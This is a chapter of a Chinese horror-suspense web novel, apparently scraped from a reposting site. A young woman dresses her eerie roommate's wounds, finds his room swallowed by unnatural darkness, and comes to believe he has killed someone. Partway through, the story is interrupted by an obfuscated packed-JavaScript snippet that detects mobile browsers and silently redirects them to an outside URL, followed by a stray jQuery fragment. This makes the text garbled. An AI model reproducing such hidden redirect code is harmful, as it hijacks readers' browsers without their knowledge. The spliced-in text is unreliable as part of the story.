镊子脱手而出,啪嗒掉在地上,棉球又弹跳了一下,才咕噜噜滚到登脚边。恶寒从脚底心直冲到头顶,几乎让头发都根根竖了起来。
赵清妍本能地往后急缩,身体带动椅子在地板上发出刺耳的刮擦声。
就在她即将起身的瞬间,一只手猛地攥住了她的手腕,仿佛皮下被直接注入了液氮,冻得腕骨都要裂开。
“麻烦你了。”
邱玖已经侧过半边身体,眼眸在背光处微微泛光。
这个和她视线平齐的少年,周遭散发的阴影却将她完全笼罩,浓稠得几乎要滴落。明明身形单薄,无形的压迫感却沉甸甸压在她头顶,甚至比面对仓库那个身高两米,肌肉虬结的壮汉时更甚。
“剩下的我自己来。”
她喉咙像被石头堵死,连口气都挤不出来,急促的鼻息吹向他,竟吹得他卷翘的睫毛微微颤动。
余光中,盆中的水已经变成了暗红色,毛巾沉在底部,像一条僵死的鱼。
愣着干啥?快说好啊,让他自己来!
本能疯狂呼喊着,但直觉却在清醒地发问:
他是不想麻烦你,还是...怕你看见什么不该看见的?比如受害者的血肉组织?或者是比那肉芽更不可名状的特征?
没有风,盆中的血水却突然荡开一圈微弱的涟漪,暗红色的波纹悄无声息地漫过金属盆壁。
如果是后者,那她更应该去看清,否则...
下一个登上新闻画面,被打上马赛克的主角,很可能就是她自己!
空气里的铁锈味变得更浓了,仿佛整个客厅都成了凝固的血块。
“不,不麻烦的。”她吞咽下喉头粘稠的唾沫,从发抖的牙齿间硬挤出一点强撑的镇定,“我可以——”
“下半身,也不麻烦?”
他攥着她手腕的手指微微收紧,像毒蛇的獠牙刺入皮肤,毒液伴随着寒气进入血管,不出几秒就能要了她的命。
她浑身一僵,顿时怔住,尴尬变成热油泼在脸上,从耳根一路红到脖子,火辣辣地烧着,“不不不,我不是这个意思...”
“那就没事了。”
他倏地松手,她的手腕上留下了几道泛白的压痕,像是捕食者对猎物种下的标记。
“后背以外,我都可以自己处理。”他站起身来,不动声色地将后背转向她的视线死角。
室内安静得可怕。
赵清妍能听见自己打鼓般的心跳,窗外易拉罐滚过路面的声响,甚至能听见远处飘来的,断断续续的啜泣。
却唯独听不见面前这个“人”的呼吸,不仅听不见,连一丝一毫气流拂面的感知都没有。
如同面对一具不会呼吸的尸体。
你身上这些血...到底是谁的?
她很想问,但字句涌到舌尖上了却像被无形的屏障挡住,无论如何都无法出口。
“你明天还要上班吧?”昏暗的灯光让他的瞳孔显得更加细长,像是一根针嵌在瞳仁中,“我先回房了,脏东西你不用管,明天我自会处理。”
语气平淡得像是要处理一件日常杂物,而不是沾满血污的“证据”。
“等等,”她看着彻底凉透的饭菜,和褪色的油画一样,完全没了光泽,连油光都凝固成蜡,“你不吃饭了吗?”
他瞥了眼桌上的饭菜,眼中没有一丝波澜。“我不饿,”他缓缓倒退了几步,如同鳄鱼滑入深水,走出了灯光投下的光圈范围,将自己完全没入阴影,“就不吃了。”
他旋转脚尖时,她屏住呼吸,眯起眼睛,凝聚起最后一丝勇气。
趁这个机会,再观察一下他的伤口!
然而他转过身去,那阴影竟如活物趴在他背上,将皮肤纹理吞噬得干干净净。任她怎样凝神细看,都只能看到一团化不开的漆黑。
就像一头优雅而致命的黑豹,漫不经心地将脆弱的脊背暴露给猎人,却在猎人举枪的瞬间,从容不迫地融入了雨林之中。他缓步踏入房间,拉动滑门。
“滋。”
生锈的滑轮在滑轨上尖啸,听得赵清妍的牙齿从牙床都一阵发酸,只见门的缝隙越来越小,将他的身影一寸寸隐藏。
“差点忘了。”门缝即将闭合的刹那,他突然偏头,“恭喜找到工作。然后...”嘴角的阴影似乎微微加深,牵扯出一个近乎微笑的弧度,又或许是光影的错觉。
“晚安。”似有似无的笑意尚未抵达眼底,门锁已滴地咬合。
提示灯在黑暗中亮起,像一只永不闭合的眼睛,幽幽地望着她。
——
“叮铃铃——!”
闹铃已经索命般响了三遍,赵清妍却感觉自己的眼皮像被胶水黏在了一起,怎么也撕不开。大脑深处是冻结神经的疲惫,身体像被掏空了所有力气。
她撑着沙发坐起身,脊梁骨咔咔作响,打了个大大的呵欠,口腔里还残留着昨夜未散的血腥味。
才睡了一个半小时...好困,灵魂都像被榨干了。
昨晚躺下时,已经是四点半,窗外天色都已经隐隐泛白。本就不足的睡眠时间,又被那些挥之不去的可怕念头搅得支离破碎——
子琛冰冷僵硬的遗容,马赛克覆盖的谋杀现场,垃圾场里那粘稠得拔不开脚的血浆沼泽,邱玖伤口中那会蠕动的粉白肉芽...
她在沙发上辗转反侧,如同煎锅上被翻来覆去的鱼,到五点多才昏沉睡去,结果刚合眼没多久,闹钟就来催命了。
疲惫得感觉自己就要猝死了,但即便如此,她也无假可请。
人只要还在喘气,只要还想继续活下去,就要去上班。
目光如同被磁石吸引,不自觉飘向卧室门。生物锁的眼睛依旧一眨不眨,幽幽发绿。
手脚软得像是面条,她挣扎着下了沙发,赤脚踩上冰冷的地板,寒意从脚底心席卷了全身,给皮肤种上一层鸡皮疙瘩。
她瞬间清醒了,比被人兜头浇了一桶冰水都更清醒。
睡醒第一时间开门解锁,千万不能再忘了!
赵清妍深吸一口气,像是踏入雷区般,一步步挪到卧室门前,好像走错一步就会被炸得粉身碎骨。抬起手时,才发现自己的指尖在不受控制地发抖。
生物锁的灯光映得她指尖中毒般发绿。
灰白的寒气从门缝中溢出,爬上她的脚背,缠绕她的脚踝,那寒意不似寻常的冷,而是带着某种粘湿的质感,好似这门通往的并不是卧室,而是极寒的深海。
咔嗒。
清脆的解锁声在过分安静的空气中被放大,她心脏猛地一跳,条件反射绷紧身体,作好了被邱玖贴脸开门杀的心理准备。
然而什么都没发生,门依然紧闭,空气依旧安静,只有寒气不断涌出,在地面凝结成霜。
不安中混入一丝担忧,像雪白绷带上晕开的血渍。
难道那些浅表的外伤只是表象?其实他的内伤很重?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355763|197832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“邱玖?”
双手抵在冰冷的门板上,暗暗用力。门却像被焊丝一样,纹丝不动。
滑轮卡住了?还是...门后抵着什么东西?
大脑自动生成了画面,邱玖冰冷僵硬的尸体倒伏在门后,两只瞳孔扩散的眼睛直直望着天花板。
死不瞑目。
寒意顺着脊椎节节攀升,如同蜈蚣在后背上爬行。她咬紧牙关,将全身的重量都压了上去。就在她以为门不会打开时——
唰啦!
门猛地滑开,巨大的惯性让她向前倒去,几乎要扑进门内。一手扶住门框,堪堪稳住身形,冰冷凝滞的空气扑面而来,带着若有若无的甜腥味。
房间是空的?
不,比空的更诡异。
明明房门大开,客厅的光线却如同撞上了一堵无形的黑墙,一丝一毫都渗不进去,卧室内漆黑如墨,连家具轮廓都被擦除抹净。
?不对劲。
赵清妍眯起眼,努力想看清里面的情形。那片浓稠的黑暗仿佛有生命般抗拒着她的窥视,只在视网膜上烙下一团蠕动的黑影。
“邱玖?”她试探性地喊了一声,声音放得很轻,像是怕惊扰了沉睡的猛兽,“你醒了吗?”
没有回应,连回音都没有。
空气凝固成胶质,黏在她的皮肤上,连呼吸都变得滞涩。
还是开灯吧...这黑得令人心慌。
赵清妍摸索着灯的开关,颤抖的指尖刚摸到一个凸起时——
“别开灯。”
沙哑的声音从黑暗深处浮上来,像是深海中升起的气泡。
“我想再睡会儿。”
她将手从开关上迅速移开,张了张嘴,想说点什么,比如“你还好吗?”,“睡得好吗?”,“伤口还疼吗?”,但所有的话语都卡在喉咙口,最终只化作一句干巴巴的:
“你好好休息,我去上班了,有事电话。”
赵清妍逃也似的后退一步,分明看见那片黑暗在门框边缘蠕动,如同粘稠的沥青,随时可能漫溢而出,将她拖入自己的体内。
完全没了胃口,她随便灌了一碗混凝土味儿的营养粉下肚,将装着昨晚饭菜的饭盒子丢进包里,便如同逃离鬼屋般冲出了门。
人造阳光从天空巨幕的缝隙间被强行挤下,冰冷,惨白,像停尸间的照明灯,将世界笼罩在一种失血的色调里。
路上行人比往日稀少许多,步履匆匆,像是背后被无形的鞭子抽打着。各个低垂着头,眼神空洞,面色发青,跟喝了老鼠药中了毒,随时会猝死似的。
偶尔有人抬眼,目光也只是飞快扫过街角巷口,又死死定格在地面上,仿佛多看一秒,就会招来智潮的猎杀大队。
空气中漂浮着无形的压抑,沉重得几乎能拧出水来。连街边常年喧闹的早点摊,此刻也只剩下油锅微弱的滋滋声,摊主机械地翻动着食物,如同没有生气的炒菜机器人。
赵清妍迈着步子,思绪却像失控的放映机,疯狂倒带,不断回放昨夜的垃圾场。
血,全是血。
即使当时光线昏暗,她也能感觉到脚下的血泊是何等黏稠,铁锈味浓烈到盖过了垃圾场的熏天腐臭。
那不是擦伤,不是挫伤能达到的量级。那根本是...屠杀后的放血现场。
只有一种合理的解释——
那些血不是邱玖的,至少不全是。
他,杀了人。